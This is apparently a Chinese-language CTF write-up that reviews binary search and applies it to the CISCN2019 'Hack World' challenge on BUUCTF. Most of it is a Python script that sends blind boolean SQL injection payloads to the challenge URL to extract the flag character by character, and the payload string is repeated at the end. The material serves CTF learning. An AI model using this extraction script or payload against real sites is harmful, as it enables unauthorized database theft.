涼涼,數據結構沒學好,二分法都忘了
典型二分法
-
思路
-
數據(data)為升序排序,要在data中尋找定值key
-
從中間的 data[mid]開始尋找
-
key大於data[mid] : 從data[mid+1]~data[end]
key小於data[mid] : 從data[start]~data[mid-1]
key等於data[mid] : 結束
-
[CISCN2019 華北賽區 Day2 Web1]Hack World
復現平台在BUUCTF

import time
import requests
url = 'http://e208fef8-d158-4ae3-b566-0b6f9bdd4915.node1.buuoj.cn/'
flag = ''
for i in range(50):
#從33到126為可打印的字符
low = 33
height = 126
data = {'id':''}
while low <= height :
mid = (low + height) // 2
data['id'] = 'if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)'%(i,mid)
html = requests.post(url,data).text
time.sleep(1)
if 'Hello' in html :
low = mid + 1
else:
#將小於和等於的情況一起考慮,所以在low~mid中間尋找
height = mid
#出現low = height = mid,若不判斷會進入死循環
if height == mid == low:
break
flag += chr(int(mid))
print(flag)
if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)
Sql 注入 要學的騷操作很多,一條一條積累吧,等一有時間就把sqli-lab刷了 hhhh